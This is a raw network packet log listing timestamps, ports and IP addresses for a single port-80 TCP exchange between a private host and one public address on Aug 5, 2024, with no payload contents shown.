Aug 5, 2024 11:59:22.296386003 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.296403885 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.348211050 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.592461109 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592485905 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592499018 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592562914 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592573881 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592583895 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592592001 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.592597008 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592636108 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592648029 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592659950 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592664957 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.592664957 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.592679977 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592694044 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592704058 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592714071 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.592714071 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.592715025 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592727900 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592736959 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.592750072 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592766047 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.592786074 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592797995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592801094 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.592832088 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592837095 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.592852116 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592864037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592901945 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.592979908 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592991114 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.592999935 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593010902 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593022108 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593023062 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593033075 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593044996 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593051910 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593070984 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593096972 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593125105 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593148947 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593158960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593168974 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593179941 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593189001 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593194962 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593200922 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593211889 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593229055 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593234062 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593234062 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593240976 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593254089 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593261957 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593281984 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593293905 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593306065 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593317032 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593358040 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593359947 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593359947 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593372107 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593384027 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593394995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593408108 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593415022 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593436003 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593728065 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593739033 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593750000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593786955 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593800068 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593811035 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593821049 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593833923 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593851089 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593883038 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.593925953 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593938112 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593947887 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593959093 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593971014 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.593987942 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594000101 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594002008 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.594002008 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.594012976 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594027996 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594038963 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594039917 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.594065905 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.594086885 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.594228029 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594240904 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594291925 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.594296932 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594309092 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594320059 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594330072 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594341040 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594364882 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.594392061 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.594409943 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594422102 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594430923 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594441891 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594453096 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594460964 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.594490051 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.594542027 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.594542980 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.645104885 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883338928 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883383036 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883394003 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883413076 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883424044 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883435011 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883446932 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883491993 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883497000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883510113 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883521080 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883532047 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883543015 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883580923 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883580923 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883580923 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883610010 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883619070 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883641005 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883652925 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883663893 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883676052 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883683920 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883690119 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883702040 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883713007 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883722067 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883723974 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883738995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883745909 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883763075 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883799076 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883886099 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883897066 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883907080 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883917093 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883933067 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883944035 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883944988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883959055 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883969069 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.883986950 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.883990049 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884001017 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884011030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884030104 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884033918 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884042025 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884053946 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884062052 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884064913 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884077072 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884084940 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884089947 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884104013 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884114027 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884135008 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884145975 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884166002 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884175062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884186029 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884196997 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884202957 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884210110 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884233952 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884315968 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884327888 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884337902 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884347916 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884358883 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884362936 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884371996 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884392023 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884397030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884408951 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884413958 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884426117 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884437084 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884438992 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884459019 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884514093 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884526014 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884535074 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884546995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884558916 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884586096 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884613037 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884696960 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884707928 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884716988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884727955 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884738922 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884749889 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884761095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884764910 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884773016 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884785891 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884790897 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884798050 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884810925 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884841919 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884848118 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884859085 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884871006 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884881973 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884896040 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.884910107 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.884952068 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.885117054 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.885162115 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.885165930 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.885184050 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.885204077 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.885215044 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.885241985 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.885270119 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:22.886034012 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.886384010 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:22.886436939 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.200607061 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200689077 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200702906 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200714111 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200733900 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200747013 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200757980 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200769901 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200768948 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.200787067 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200797081 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200807095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200819969 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200831890 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200836897 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.200836897 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.200867891 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.200867891 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.200872898 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200886965 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200902939 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200915098 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.200922012 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.200967073 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201021910 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201033115 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201042891 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201052904 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201065063 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201071978 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201085091 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201093912 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201121092 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201159000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201179028 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201189995 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201200962 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201224089 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201272011 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201368093 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201385021 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201395988 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201409101 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201419115 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201426983 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201431036 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201442957 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201451063 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201453924 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201467037 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201467991 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201479912 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201498032 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201493025 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201522112 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201522112 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201534033 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201544046 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201545000 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201576948 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201615095 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201626062 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201637030 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201668024 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201680899 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201683044 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201693058 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201705933 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201736927 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201777935 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201788902 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201798916 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201808929 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201821089 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201832056 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201842070 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201843023 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201865911 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201872110 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201879978 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201885939 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.201909065 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.201935053 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202195883 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202208042 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202258110 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202265978 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202279091 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202290058 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202301025 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202311993 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202321053 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202342033 CEST	49734	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:23.202347994 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202359915 CEST	80	49734	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:23.202379942 CEST	80	49734	27.221.16.149	192.168.2.5
